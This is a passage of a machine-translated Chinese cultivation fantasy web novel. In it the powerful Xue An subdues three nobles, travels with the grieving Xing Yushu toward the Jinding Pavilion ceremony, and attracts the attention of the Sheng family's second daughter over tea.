    I heard Xue An sigh softly, "Do you think... can you three still walk?"


    All three of them were excited, and then turned around stiffly, with strong smiles on their faces.


    "Big...sir, we are just..." It was Bai Li Shaoguang who had just been shattered by Xue An''s eyes and had all confidence.


    I saw that her eyes were full of deep awe.


    Xue An was too lazy to listen, and interrupted her with a casual swing, and then said lightly: "Or, do you think I will let the three of you go?"


    Even a fool can hear the chill in these words.


    What''s more, the three of them are not fools, on the contrary, they are all brilliant people who mess with the situation.


    So after hearing these words from Xue An, I couldn''t help but shook my whole body, and then there was a panic on his face.


    They knew nothing about Xue An.


    But the strength that this white-clothed boy has just shown is beyond their imagination.


    You need to know that for existences like the Tree Demon Ghost King, they can only look up.


    It turned out to be ashes under the two punches of Xue An.


    This level of strength crush made them dare not breathe, they could only look at Xue An with despair, hoping that he could be merciful and spare their lives.


    Xue An has been accustomed to seeing this look, and even has some immunity.


    So he just smiled, and then said lightly, "Are you all from Jing Guozhong?"


    "Yes! The three of us are all Jingguo nobles!" Zeng Jialiang answered honestly.


    Xue An''s eyes flashed slightly, "Then what happened to the ghost teaching that Xing Yuhe just said?"


    If the three of us were just full of panic and despair, they would almost cry now.


    "Ghost...Ghost religion is the latest state religion founded by our Jingguo! But this matter really has nothing to do with us! We only heard that this old man Xing has no chance in his body, and therefore greed For those who want to come over to snatch, please forgive me!" At this time, Jin Haoyang, who had a business background in his family, showed the most composure, even begging for mercy was very organized.


    Xue An did not comment on this, but whispered softly: "Ghost religion, national religion...Haha!"


    The smile on Xue An''s face grew colder, then looked up at the three people who were chilling, and said lightly: "Let''s talk, how are you going to die?"


    The words pointed to, Xue An''s momentum suddenly rose.


    The three of them groaned, and fell to their knees overwhelmed, and then shouted anxiously: "My lord, we are willing to be cows and horses, and we only ask for your life!"


    "Yes, as long as the adults can spare us and let us do anything, we are willing!"


    Zeng Jialiang and Jin Haoyang began to scramble for mercy.


    Only Baili Guangguang, trembling all over, eyes horrified, can''t speak.


    Xue An raised his eyebrows slightly when he heard the words, and then said with interest: "Oh? As long as I let you go, you are willing to do anything?"


    "Yes, yes! As long as you are willing to let us go, sir, we are willing to pay any price!"


    Seeing Xue An''s tone loosened, Zeng Jialiang and Jin Haoyang shouted in a hurry.


    A smile gradually appeared at the corner of Xue An''s mouth, "Well, if you say that you are not guilty of death, then I will not kill you!"


    Upon hearing this, Zeng Jialiang and Jin Haoyang let out a sigh of relief, and then shouted in surprise.


    "Thank you, sir!"


    "Thank you sir for your life!"


    Xue An shook his head, "Don''t be so eager to thank me! Although I forgive you for not dying, the death penalty is forgiven, and the living sin cannot escape!"


    Live crime....


    The word ���� caused both Zeng Jialiang and Lingling to shiver, and the expressions on their faces were extremely panic.


    "Big...sir, what is a living crime?" Jin Haoyang asked hard.


    Guanghua flashed in Xue An''s eyes with a faint smile, "What is a living crime... You will know soon!"


    said, a majestic spirit spread out, and directly enveloped the two of them.


    In the ���� tea scene, the brilliance gradually dissipated. Looking at Zeng Jialiang and Jin Haorang at this time, their faces were blank and empty, kneeling there blankly, like two petrified statues.


    Seeing this scene, Bai Li Shaoguang finally began to tremble uncontrollably, and Xue An''s eyes were even more fearful as a snake.


    Xue An said lightly: "Do you see what I am doing?"


    Baili Shaoguang nodded, and then said in a terrified tone: "You...you transformed the souls of the two of them!"


    Xue An was stunned slightly, using soul transformation to describe the refinement of divine consciousness, which is quite appropriate.


    "Have you seen?" Xue An raised his eyebrows slightly and asked faintly.


    Baili Shaoguang hesitated for a moment, and then shuddered and said: "The adults of the ghost education sometimes use this method to control their men!"


    Xue An��s eyes flashed an imperceptible cold light, but even after Xuan returned to normal, he said indifferently: ��Do you know why I didn��t transform your soul?��


    Baili Shaoguang trembled all over, shaking his head not knowing.


    Xue An smiled, "Because someone left a bait on you, if it is directly refined, the other party will know soon!".


    Baili Shao''s face looked blank, how did she know this.


    But Xue An shook his head with a hint of ridicule at this time, "Unfortunately, I want to set a trap based on this level. It''s still too immature!"

 Chapter 1264： Go to Taoist Cave Sky, Yuding Pavilion

    With that said, Xue An��s eyes were shining, and a powerful divine thought could not help but intruded directly into the sea of ??knowledge of Baili Shaoguang, and then penetrated through the seal very naturally, and refined it in an instant. .


    From the beginning to the end, the seal was not noticed.


    After the completion of the refining, the three of them gradually recovered from the confusion. When they finally recovered their consciousness, they were shocked, and then they bowed towards Xue Anqi.


    "I have seen an adult!"


    In the tone of this time, there is no panic and fear, only infinite respect.


    "Do you remember what to do when you go back?"


    "Yes! I will understand!"


    Xue An waved his hand, "Okay, let''s go!"


    The three of them departed respectfully and retreated until they were a hundred steps away before they flew up and disappeared into the sky.


    Everything was over, Xue An turned his head and looked at the residents of Fengmo Town.


    Everyone bowed their heads in fear, and didn''t dare to look directly.


    Xue An sighed secretly, but he had already expected this result.


    But at this moment, Xiao Rui among the crowd gritted her teeth secretly, and finally gathered courage, walked forward slowly, then raised her head and said in a trembling voice.


    "Big...Big brother, thank you for saving us!"


    Xue An looked at the brave young girl who was full of restlessness and weakness in her eyes, the corners of her mouth gradually raised, then she stretched out her hand and gently stroked her head.


    "you are welcome!"


    Perhaps inspired by Xue An��s current attitude, Xiao Rui��s mother stepped forward hesitantly, first smiled flatteringly at Xue An, and then lowered her head to reprimand.


    "You can''t be called Big Brother anymore, you want to be called an adult, have you heard?"


    Xiaorui seems to understand but not understand.


    Xue An laughed blankly, "Well, she can continue to call me big brother, I am very happy!"


    Seeing Xue An''s attitude, Xiao Rui finally became happy, and her mother was also taken aback, and then nodded embarrassedly.


    "That...that''s good!"


    People are dead, but the days have to go on.


    Especially now that there is a big backer like Xue An, the whole Feng Devil Town is filled with a beaming atmosphere.


    Only Xing Yushu, as if stupid, didn''t speak, just sat there in tears.


    The people of Feng Devil Town did not dare to persuade them, so they could only pin their hopes on Xue An.


    Xue An sighed, and then he ordered all the relics left by Xing Yuhe to be put together, and a small cloak mound was erected under the walls of the town.


    After seeing the name written on the tombstone, the blankness in Xing Yushu''s eyes gradually faded, and finally he vomited a mouthful of blood with a wow, and fell to the ground, unconscious.


    Everyone was shocked, only Xue An sighed lightly.


    "Okay, this blood was spit out, which proves that he broke through!"


    As expected.


    After Xing Yushu woke up again, there was no more sorrow on his face. Instead, there was endless chill and indifference, which made people feel a little hairy.


    This kind of change means that the young and passionate Xing Yushu has died overnight, and now standing in front of everyone is another person.


    And after waiting for Xing Yushu to guard the spirit in front of his grandfather''s burial mound for three days, the first thing Xue An said was.


    "When shall we leave!"


    Xue An smiled, "Are you in a hurry?"


    Xing Yushu nodded without hesitation, "Yes, I am very anxious! Because I have to fulfill my grandfather''s request, inherit the opportunity, destroy the enemy, and glorify the Xing family!"


    Xing Yushu said mechanically, his eyes were like a pool of stagnant water, and the ancient well did not wave.


    Xue looked at him quietly, until after a while, he nodded, "Okay! Then we will leave today!"


    Xue An and the news that they are leaving quickly spread throughout the town.


    When the two of them went out the next day, the street was already full of people. Xiao Rui stood at the front of the team with tears streaming down her face. When she saw Xue An, she choked and said, "Big brother, When will you come back?"


    Xue An smiled, "Don''t worry, I should be back soon!"


    Xiaorui is reluctant to let go, but the others do look worried.


    After all, after Xue An and Xing Yushu left, the town would completely become an empty city.


    Although it is said that the tree monster ghost king has been eradicated by Xue An, who can guarantee that there will be no second ghost king?


    By that time, this small town will probably be hard to escape!


    Xue An naturally saw the worry in everyone''s hearts, but he just smiled and did not express his opinion.


    Until he left the city gate, Xue An turned and stood there, then looked at the two soul-slashing lamps hanging on the city gate, and said lightly: "That is the relic left by your grandfather, go pick it and take it away!"


    Xing Yushu didn''t ask why, one flew up and took off the two lanterns.


    After he turned around, Xue An looked at the silent people all over the city, smiled faintly, then raised his hand, drew a talisman in the air, and waved it forward.


    Boom!


    After a muffled noise.


    But seeing the talisman seal painted by Xue An suddenly appeared on the city wall.


    Then Xue An said lightly: "This talisman contains an aura of mine, the gods and ghosts are easy to make, so you can worry-free!"


    After finishing speaking, Xue An turned around and said lightly to Xing Yushu: "Are you ready?"


    Xing Yushu nodded silentlyOkay, let''s go! "


    After that, Xue An rose into the sky, followed by Xing Yushu, and the two disappeared into the sky in an instant.


    Only the residents of the small town were left with shocked faces. It was only after a while that these small town residents gradually recovered their sobriety, and then bowed their hands to the sky with gratitude.


    "Thank you, sir!"


    "Thank you for your protection!"


    shouts one after another, only the little girl Qian Xirui stood in the crowd, staring blankly at the already empty sky, tightly holding a pen given to her by Xue An in her hand, thinking silently in her heart.


    Brother, you want to come back!


    According to the route left by Xing Yuhe, if you want to go from the Fengdemon Town to his Shimen Yuding Pavilion, you must at least pass through a few large areas. The distance is unimaginable for ordinary people.


    But for Xue An, it''s not impressive.


    In fact, if it weren''t because of the disorder of the Qi and the earth, the structure is special.


    With Xue An��s current strength, he can even travel directly across domains without delay.


    Even if he relies on flying to hurry, for Xue An, he can be there on the same day.


    But the point is that he still carries Xing Yushu.


    Although this young man has a good Taoist cultivation level, he is still far behind Xue An. .


    Xue An estimated that this Xing Yushu is no more than Golden Wonderland if it is divided by the standards among the heavens.


    Of course, this cultivation level is already quite impressive for his age, and it must be a powerful force when placed on Earth.

 Chapter 1265： If this road is blocked, go elsewhere

    But helpless, this world is very weird, despite the chaos of Qi, there are many strong people.


    Judging from the situation that Xue An has discovered during the flight and divine intent, it can only be said that the real immortal level powerhouse in this world can only be regarded as ordinary.


    Only after entering the half-step Da Luo, can he enter the realm of the real powerhouse.


    Of course, there is another most critical factor.


    That is the truth in this world is not prosperous, and demons are rampant.


    As far as Xue An saw, almost all the strong were demons.


    Although there are strong human races, they are very rare in number.


    This has also led to the fact that in this world, large areas are controlled by demons, and the forces of the human race can only curl up in the city.


    Xue An just sneered slightly.


    Finally, after a long journey of three days.


    Xue An finally crossed many territories and came to the sphere of influence of Jinding Pavilion.


    The moment when you step into this territory.


    Xue An felt that the qi mechanisms around him had changed, and the originally chaotic spiritual power had become much more docile, which also made the concentration of aura here much stronger than outside.


    After all, the biggest problem in this world is the unnecessary loss caused by the cancellation of spiritual power.


    Once this problem is solved, the concentration of aura in this world can be called terrifying.


    This also makes people living in this territory much stronger than the outside world.


    The most important thing is that there is no ghostly atmosphere here.


    There are so many cities on the earth, and from time to time there are many brilliances rising into the sky, traveling from the sky.


    "Dongtian?" Xue An murmured softly, and then a smile appeared on his face.


    Despite entering this territory, there is still a long way to go from the true location of Jinding Pavilion.


    After these three days of intensive rushing, Xing Yushu was exhausted physically and mentally, and could no longer keep up with Xue An''s footsteps.


    Xue An simply slowed down, and began to rush forward slowly, looking at the scenery along the way.


    Under such a slow speed, from time to time, a line of repairmen flying in the air passed by, and then couldn''t help but look at Xue An with a surprised look.


    Some people even couldn''t help but laugh out loud.


    "On this point of cultivation, dare to go to the mountain opening ceremony?"


    "It''s so funny!"


    These words came into the ears of Xue An and Xing Yushu from time to time, and Xue An didn''t take it seriously.


    After all, the world is so big that there are all kinds of people, and cultivators are no exception. You can''t get confused because of one sentence.


    But Xing Yushu does not have as good concentration as Xue An.


    After hearing these mocking words, my eyes always flashed with anger from time to time.


    Under this situation, Xue An and the two drove forward for most of the day.


    Seeing that a huge city loomed ahead, Xue An was ready to go to this city to settle down and rest.


    In fact, he doesn''t care. At this speed, he can even fly for a year or a half without rest.


    The key is that Xing Yushu is almost reaching the limit.


    Having been on the road endlessly these days, this boy is on the verge of collapse.


    Xue An knows this naturally.


    It was not that Xue An deliberately tortured him, on the contrary, Xue An was very clear about the young man''s mind.


    Because of the death of his grandfather, the young man felt too much negative emotions in his heart.


    If you don��t vent it, you may go to extremes.


    That''s why Xue An used this kind of almost self-harm to let him gradually relieve the grief in his heart.


    Now it seems that the effect is good!


    But now he has reached the limit, and if he continues to fly like this, he will really collapse.


    With this idea, Xue An was ready to lead Xing Yushu to fly into this kind of city to settle down.


    can be at this moment.


    Suddenly ripples appeared in the space in front of ����, and then I saw an old man wearing a green robes with an arrogant face appeared in front of the two Xue An, then raised his hand to block, and said lightly: "Stop!"


    Xue An raised his eyebrows slightly, but stopped.


    Xing Yushu was already flying dizzy. Seeing Xue An stopped, he naturally stopped, and then began to gasp.


    The old man looked at Xing Yushu and Xue An a little contemptuously, and then said very arrogantly: "This way is nowhere! Please take a detour!"


    Xing Yushu''s face sank when he heard the words, and he wanted to ask questions.


    Xue An waved his hand and stopped him, then said with a smile, "What do you mean?"


    The old man snorted coldly from his nostrils, "What do you mean? Of course it means literally! My lady will pass by right away, and the idlers will naturally retreat!"


    At this time, not only Xue An, but many others have also flown to the front, but without exception, they are all blocked by the rippling space.


    So before Xue An could say anything, there was an angry voice from the impatient person.


    "What are you going to do? My young master, I still have an urgent matter, so let me go! Otherwise, I will make you unable to eat!" This person''s tone is also quite unkind.


    But this old man was not moved at all, he just smiled coldly, "Sorry, today is the king of heaven, I have to go around!"


    The man who was stopped was furious when he heard the words and pointed to the old man��s nose and asked: "Good slave, do you know who I am? I am the son of the first family in the city in front of me. Go away now. I want to go back. city!"


    said, the man stepped forward and rushed forward.


    Before he could take a step, the old man snorted coldly, raised his hand, and saw a ray of light rushing towards him.


    The man couldn''t dodge, and was blasted on his chest by this magic rune. He stumbled back dozens of steps. He was very embarrassed and embarrassed.


    Then the old man said proudly: "This is just a lesson for you If you dare to go forward, don''t blame me for the killer!"


    "You..." The man was shaking with anger.


    But the crowd of onlookers shivered.


    After all, this old man seems to be nothing more than a slave, but he has a decent cultivation base in his gestures.


    This shows that the master behind him is by no means ordinary.


    The old man looked around the audience arrogantly, and then said: "I tell you, not only is it blocked here, the city in front has also been requisitioned by my lady, no one can enter!"


    "Who the **** are you? Why are you so domineering?" the man yelled uncontrollably.


    The old man smiled coldly, "Tianfang, Shengjia! Can you have this qualification?"


    This sentence is like magic, making everyone tremble.


    Especially the man who had just clashed with this old slave, his complexion turned pale as paper in an instant, he didn''t even dare to look at it, turned and left.


    This time he walked, the crowd of onlookers was no exception, and the birds and beasts scattered in a flash.


    The old slave smiled triumphantly, even if Xuan frowned again.


    Because he discovered that there were still two people in the field who didn''t leave.


    Not only didn''t leave, the boy in white clothes standing in front even looked at himself with a smile.


    This made him feel unhappy, and said coldly: "I''m in the Sheng family to do business, quickly avoid, otherwise don''t blame me for being rude!".


    Naturally, Xue An and Xing Yushu did not leave.


    Xue An only smiled when he heard the words, and then moved his lips lightly, faintly drank a word, "Go!"

 Chapter 1266： The daughter of the Sheng family goes after her

    As soon as ���� rolled out the word, the old man didn''t react, he felt as if he had been punched in the face, and was smashed into the air.


    After hard work, he stabilized his figure, and then looked at Xue An with horror.


    Because he didn''t even see how Xue An beat him just now.


    Xue An didn''t even look at him, and said lightly: "Let''s go!"


    said, he wanted to lead Xing Yushu away.


    Although the old slave was frightened, he still shouted in a deep voice, "Stop him!"


    The figure flickered, and then I saw a group of elite monks blocking Xue An''s way, and staring at both Xue An eagerly.


    The atmosphere suddenly became extremely solemn.


    Xue An smiled, and then unaffected by it, he moved on.


    But when the war was about to start, I saw a majestic brilliance descend from the sky.


    A huge flying boat slowly floated in front of everyone.


    After seeing this flying boat, the old slave and all his subordinates respectfully stepped back and bowed to salute.


    "What''s the matter?" A female voice with a hint of tenderness came, obviously very cute and lovely.


    Then I saw the brilliance fluctuating before Feizhou, and a slim figure slowly emerged.


    When the light and shadow dissipated, the one who appeared in front of her was a young, but already beautiful girl.


    As soon as I saw this young girl, the old man''s waist couldn''t help but bend deeper, and then said in a panicked voice: "Second Miss, this guy has to rush through. I''m worried that I''ll disturb you, and I''m about to capture him. !"


    , the old man raised his finger and pointed at Xue An not far away.


    "Oh?" The girl was slightly startled when she heard the words, followed what she was pointing at and looked at Xue An, and then she was startled.


    As the second young lady of the Tianfang Sheng family, Sheng Miaotong has seen all the people who are not the Fang Junyan, and his eyesight is naturally very high.


    After seeing Xue An today, she suddenly understood, what is the name Mo Shangren Ruyu, the son is unparalleled!


    If a teenager wants to be handsome, he must have some female faces, but this can easily make people look too feminine and lose their masculinity.


    At least the so-called handsome men she usually sees are all like this.


    But Xue An is different.


    Although he has a fair complexion and beautiful features, there is not a trace of femininity.


    On the contrary, even though he just stood there simply, he gave people a kind of natural extravagance.


    This kind of temperament makes Sheng Miaotong, who has always been above the top of the eye, a little bit ashamed.


    therefore couldn''t help but stand blankly on the spot.


    At this moment, the old slave leaned forward and gave Xue An a stern look, then said to Sheng Miaotong with a flattering smile: "Second Miss, you don''t have to be angry, this guy who doesn''t know the sky and the earth will give me Yes, I will let him understand today..."


    I can''t speak anymore before I finish speaking.


    Because he was horrified to discover that the second lady, who had always been arrogant, had a smile on her face, and she walked up to the boy in white, and then felt happy.


    "I have seen the son!"


    This kind of attitude is something this old slave has never seen before.


    But he was not a fool, he was almost a jealous, he was already sober, and then he bowed his head deeply, not daring to say another word.


    At the same time, after getting closer to Xue An, Sheng Miaotong couldn''t help but applaud again.


    What a sloppy boy!


    Therefore, she involuntarily curbed her usual arrogance and saluted Xue An very ladyly.


    Xue An was noncommittal about this, but just glanced at her, and then nodded slightly, which was considered courtesy.


    If other people dared to be so arrogant, this Sheng Miaotong would have run away on the spot.


    But somehow, when he saw Xue An doing this, Sheng Miaotong''s eyes lit up, not irritated at all, but cleverly smiled and said, "My son, it''s true that these family slaves are usually too arrogant. I will reprimand it severely!"


    said, she turned her head and yelled at the old slave: "It''s not enough to apologize!"


    "Yes!" The old slave cried secretly in his heart, but didn''t dare to resist, so he bit the bullet and ran over and apologized again and again.


    Xue An shook his head lightly, and said lightly: "No need!"


    After ���� said, he led Xing Yushu to leave.


    Sheng Miaotong was so anxious that he couldn''t help taking a step forward and blocked his way.


    "Huh?" Xue An frowned slightly, already a little irritable.


    Sheng Miaotong rolled his eyes, then smiled and said: "This son, look at the way you two look, but are you going to participate in the opening ceremony?"


    is the opening ceremony again!


    Xue An moved slightly in his heart, then nodded silently.


    "So what!"


    Sheng Miaotong''s eyes lit up, not at all irritated by Xue An''s attitude, but instead said with a smile: "It''s such a coincidence, I also went to the Open Mountain Ceremony. Since meeting is a destiny, it is better to go together? What?"


    Xue An was unmoved, and said lightly: "Thank you, but no need!"


    After all, he didn''t give this Sheng Miaotong a chance to speak, and led Xing Yushu away from here, heading straight to the distant city.


    Sheng Miaotong stamped his foot with anger, staring bitterly at Xue An''s away back.


    At this time, the old slave couldn��t help but leaned over again, ��Second Miss, this person is so ignorant to promote, why don��t we enter the city and let him...��


    "Go!" Sheng Miaotong slapped again without hesitation.


    The old man who slaps the fan staring right in front of his eyes.


    and Sheng Miaotong stared at the distant city, and whispered softly: "Since I was young, I have never been able to get what I want, and so are you!"


    Speaking of this, Sheng Miaotong showed a smug smile on his face and waved forward, "Go!"


    After that, he took the lead and flew to the city.


    The crowd followed and all flew away Only the old slave was standing in place with his cheeks covered, almost crying.


    I offended this **** today? How could I be beaten several times in such a short time!


    But no one paid any attention to his sadness.


    Xue An at this time has already flown into this city.


    This is a huge city, which can be called extremely prosperous.


    After Xue An landed, he first found a shop.


    And when he just moved in.


    Sheng Miaotong also led the crowd to arrive.


    After her aura appeared, the lord of this city led many powerful men to greet her.


    Because the Sheng family had already given them news before, Sheng Miaotong will arrive here soon, asking them to be well received.


    Facing the leading giant in this cave, the lord of this city certainly dare not disobey the slightest.


    But he didn''t expect that Sheng Miaotong would come so soon, so he greeted some late and he couldn''t help feeling a little sincere.


    "Miss Sheng, I will block this city right away and only receive you!" The city lord said tremblingly.


    Unexpectedly, Sheng Miaotong glared, and then said coldly: "No need!"


    said, he ignored these people''s greetings, and went straight up the street.


    The city lord and the group were all dumbfounded. At this time, Sheng Miaotong couldn��t help turning his head and adding, ��By the way, you don��t need to arrange a place for me anymore! And I won��t call you, you can��t come and bother!��

 Chapter 1267： Ji Fei Gou jumps, and tea is ready

    The city owner looked at Sheng Miaotong''s distant back blankly, and couldn''t help but feel a little dumbfounded.


    How is this going?


    Wasn��t it the way the people from Tianfang Sheng��s family came here before?


    Could it be because of something that offended the second lady of the Sheng family?


    These questions linger in these people''s minds, and they can''t help making their complexions extremely ugly.


    Because they are all aware that in this cavernous sky, offending others may still be alive, but if they offend the Tianfang Sheng family, the end will not be too good.


    Therefore, after hesitating for a while, the city lord here said solemnly: "Hurry up and send someone to inquire and see what''s going on? Is it because our poor hospitality has annoyed this Miss Sheng Er!"


    "Yes!" The subordinates led away.


    The hearts of these people are heavy, and they dare not leave, but are waiting here nervously.


    After a while, the hapless old slave was invited over.


    Although this old slave was a person who could beat and scold at will in Sheng Miaotong''s eyes, in the eyes of this group of people, as long as he got in touch with the Sheng family, he couldn''t afford it.


    Therefore even the attitude of the city lord is very respectful.


    And their attitude made the old slave who was full of anger suddenly relieved, especially after accepting a generous gift, the smile on his face was blazing by three points, and then he said slowly.


    "Sir, don''t worry, my lady is not angry with you!"


    "Then why don''t you eat food, or even let us follow?" The city lord said with some anxiety.


    The old slave chuckled, and then a fierce light flashed in his eyes. Sheng Miaotong slapped him twice. Of course he didn''t dare to be angry, but he took all the accounts to Xue An.


    In his opinion, if it wasn''t for this kid who didn''t know where to jump out, how could he make the second lady angry?


    Therefore, when he heard the question from this city lord, he turned his eyes and started to care.


    "Hehe, Lord City Lord, come over here, I have a secret to tell!"


    The city lord obediently walked over to him, and after listening for a while, his eyes could not help but gradually widened, and his face was shining with joy and excitement.


    "Can you take this seriously?" The city lord''s voice trembled slightly with excitement.


    The old slave nodded, "Of course! I am an old family who has been with the second lady for many years. How can this be nonsense?"


    "That''s good, that''s good!" The city lord rubbed his hands in excitement, and then as if suddenly remembering something, he said hurriedly: "When the matter is done, I will thank you!"


    The old slave cloud waved his hand calmly, "The Lord of the City is too polite. I just want to see you hit the ground, so I tell you this important information! Also, you''d better start acting as soon as possible, otherwise time Long, there are more variables!"


    The city lord nodded like garlic, "I understand, I will send someone to prepare immediately!"


    The old slave sneered triumphantly in his heart.


    Boy, now I see how crazy you are!


    The old slave, who was conscious of his amazing strategy, left with pride.


    The people around rushed up, all looking at the Lord City Lord with piercing eyes, and couldn''t wait to ask.


    "My lord, what did the old guy just say?"


    "Yeah, why are you so excited?"


    The lord of the city smiled when he heard the words, glanced at these people, and only cleared his throat after seeing that they were all the best in the city, and then made a hook at everyone.


    "You will come here, now there is a great opportunity, I want to tell everyone!"


    After a while.


    After hearing the words of Lord City Lord, the faces of these people were different, and some were full of confusion, as if they didn''t understand what was going on.


    Some have already reacted, and they are almost jumping up with excitement.


    "My Lord, what shall we do now?" someone asked impatiently.


    The city lord looked far away, and then said indifferently: "Does this still have to be said? Naturally, I should quickly grasp it! The order passed on, and immediately emptied the inn where the second lady was staying and the surrounding shops and replaced them with our own. People! Do you understand what I''m talking about?"


    These people can mix into a party of giants, naturally there is no fool, especially after hearing this city lord''s words, but the reaction is slow, but also know what is going on, so they all nodded.


    "Don''t worry! I will understand it naturally!"


    "It just so happens that my third son just returned from studying abroad, so I will let him freshen up and go quickly!"


    The city lord nodded, "It shouldn''t be too late, then go!"


    "Yes!"


    When these people heard the words, they all dispersed.


    The city lord stood there, looking at the excited backs of these people, with a triumphant smile.


    Even with your descendants, are you worthy to fight with me? Haha, this time, Chenglong, the son-in-law of the Sheng family, my family is determined.


    Thinking of this, he didn''t turn his head back, just faintly commanded: "Pass the order, immediately let Neng''er clean up, and then go to the inn!"


    "Yes!"


    Some subordinates led away.


    The mid-year-old city stood in the same place vigorously and couldn''t help thinking about the good life after he married the Sheng family.


    At the same time, not only him, but also the big wealthy families in the entire city, as long as there are young talents who can do it, not one is left, all of them are put on the most proud clothes, and then sent to the original place. Inconspicuous, but at this moment has become a glorious inn.


    Even those wealthy families who can''t find a suitable candidate are not to be outdone, but have their own unique tricks.


    Some also sent their married sons.


    This is still good. There was even one who had no son, and even let his daughter change into a man''s dress and gave it away.


    When others asked, the restaurant plausibly said: "Who knows what the second lady likes? Maybe you like this one!"


    In short, the entire city was very lively because of the words of this old slave.


    And at this moment.


    Xue An and Xing Yushu have already stayed in this inn Xing Yushu was really tired and was about to vomit blood. When they entered the house, they collapsed on the bed and couldn''t get up, and they started to scream for a while. Huda fell asleep.


    Xue An just smiled when he saw this, then sat at the table and began to make tea slowly.


    This is already a habit of him.


    No matter where or when I go, I like to make a pot of hot tea.


    For this reason, Xue An deliberately brought Yan''er''s space ring, and put a variety of tea sets and a dazzling array of tea leaves in it.


    But what Xue An likes most is the original cooking tea.


    When the good jujube core carbon burns, a smoky green smoke will flow out, slowly pushing the fragrance of tea out of the pot, and the whole process will be uncontrollably quiet.


    But when Xue An''s tea pot was just cooked, just about to be poured out.


    I heard a faint noise coming from outside the door.

 Chapter 1268： Taste the craft

    Xue An was startled slightly, Xuan even smiled, then poured a cup of tea slowly, and took a sip.


    At this moment, there was a mess of footsteps in the veranda outside the door, and then stopped in front of the door.


    Xue An lowered his head and drank tea silently, without even looking at it.


    At this moment, the door of the room was suddenly violently pushed open, and the wind rushed in from outside the door, making the curtains unsteady.


    The second lady of the Sheng family, Sheng Miaotong, was standing in front of the door, watching Xue An, who was sitting still at the table and drinking tea silently, with a complex light flashing in her eyes.


    There is appreciation, curiosity, and a narrow smile.


    Then the Sheng Miaotong gave a light cough, pretending to be surprised, and said: "Huh? Son, what a coincidence! I met again so soon!"


    Xue An raised his eyes and glanced at this young girl who had not yet fully grown up, then lowered his eyes and said lightly: "Yes, what a coincidence!"


    If it were for other people to put such a big support in front of Sheng Miaotong, it is estimated that she would have slapped her in the face.


    After all, who doesn''t know the hot temper of the second Miss Sheng Jia.


    Only when facing Xue An''s indifferent attitude, this Sheng Miaotong didn''t get angry at all, but he smiled, then raised his foot and stepped into the room, coming in very familiarly.


    "Is the son drinking tea?" When she got close, Sheng Miaotong sighed secretly, even drinking water so handsome! Then he said with a smile.


    Xue An nodded, "Yes!"


    "Then...Is this tea good?" Sheng Miaotong licked his lips and asked with staring eyes.


    Although she is not old, she still carries a fatal charm when making this action.


    It''s like a greedy little wild cat, seeing his favorite prey.


    Xue An didn''t even raise his eyes, "It''s okay!"


    Sheng Miaotong fantasized about Xue An''s countless reactions, but did not expect these two words.


    Okay��[]��.


    What kind of answer is this! Shouldn''t you invite yourself to sit down and drink tea at this time?


    You must know that those guys who pester themselves all day, if they have the opportunity to drink tea with this girl, they will probably be so excited that they can''t even sleep!


    The more Sheng Miaotong thought about it, the more angry he got, and he sat down on a stool beside him, and said viciously, "I want to drink too!"


    Xue An finally raised his eyes and glanced at the second young lady of the Sheng family, only to see that she was looking at herself with a "fierce" face and couldn''t help laughing.


    "You want to drink too?"


    "Ah... uh, yeah! I want to drink too!" After seeing Xue An''s smile, Sheng Miaotong felt that the trace of anger just disappeared instantly without a trace. He didn''t respond until he froze for a while. .


    Xue An shook his head, "My tea is expensive! I guess you can''t afford it!"


    "Very expensive?" Sheng Miaotong blinked his eyes and repeated it.


    "Yes, it''s expensive!"


    Sheng Miaotong almost wanted to laugh three times.


    In this cave, and even in this world, someone told the second lady of the Sheng family that it was expensive?


    Does he really not know his identity? Well, it may be so!


    Thinking of this, Sheng Miaotong couldn''t help showing a strange look on his face, and then sighed quietly, "But I''m so thirsty now, what should I do if I really want to drink it?"


    As she said, she raised her head to look at Xue An with an imploring look, and stretched out a finger.


    "Then what should I do if I have no money now? Son, can you let me have a drink first? Just a drink, and I will return it to you when I have money in the future!"


    Xue An took a deep look at her, until Sheng Miaotong became nervous inexplicably, and then he narrowed his gaze, took out a cup, and filled her with a cup.


    "Thank you son!" Sheng Miaotong smiled brightly, took the cup in his hand, and took a sip.


    She doesn''t know the tea ceremony at all, but because of her noble background, she has seen countless mysterious tea leaves.


    But when this cup of tea is in the mouth, a refreshing tea fragrance bursts directly into the mouth and slowly enters the abdomen along the esophagus.


    Sheng Miaotong roused Lingling to fight a cold war, and felt that the blood all over his body seemed to be much smoother. He couldn''t help but said with great surprise: "What kind of tea is this?"


    "Longjing!"


    "Where does Longjing... come from? Is it expensive?" Sheng Miaotong asked again and again.


    "The place of production is far away, as to whether it is expensive..." Xue An paused, and then said lightly: "A pack seems to be one thousand and one hundred yuan! Wal-Mart sells it!"


    One thousand and one hundred dollars, Wal-Mart?


    These two unheard words made Sheng Miaotong look dumbfounded, but immediately, she left these things behind.


    The heaven and the earth are too big, and the number one family from the cave sky, she understands this even more, so she didn''t care too much, but looked at Xue An with interest.


    "After talking for so long, I still don''t know the name of the son! Let me introduce myself first, my name is Sheng Miaotong! From...from a small place!"


    Xue An fiddled with the charcoal fire in the furnace with a silver needle, without raising his head, and said lightly: "Xue An!"


    Last name Xue?


    Sheng Miaotong''s head turned quickly, and he began to search this world with a wealthy family surnamed Xue, but of course he returned without success.


    Sure enough, if he came from a wealthy family, how could he not know the name of my Sheng family?


    It looks like it should be someone from a small place.


    Sheng Miaotong was not disappointed.


    As the beauty of the sky, she has long been tired of seeing those family children who revolve around her all day long, so when she heard that Xue An was not from a wealthy family, she was even more excited.


    "Master Xue must be for the opening ceremony of the Golden Ding Pavilion!" Sheng Miaotong asked with a grin.


    At this opening ceremony again, Xue An''s eyes moved slightly, and then nodded, "Forget it!"


    "Hey, it''s the same with me! Actually, I didn''t want to go, but the family had to let me go, saying that I can go to the mountains now at my age! But is there any difference? Our Sheng family''s family practice It''s not necessarily worse than that of Jinding Pavilion!"


    This Sheng Miaotong started to complain, but at this time, she didn''t have the domineering and domineering she had before, and behaved just like an ordinary girl next door.


    Xue An looked still drinking tea in silence, wondering if he was listening.


    After talking for a long time, Sheng Miaotong slapped the table sharply, looking at Xue An with bright eyes.


    "Xue Gongzi, don''t worry, since you invited me to have a cup of tea, then we are friends! This opening ceremony, I will definitely help you enter the Golden Ding Pavilion smoothly!"


    Xue An glanced at her with a smile, and then nodded, "That''s it, thank you!"


    "Oh, between you and me, how can you talk about thanking you! But..." Sheng Miaotong''s eyes waved, and suddenly remembered something, and said with excitement.


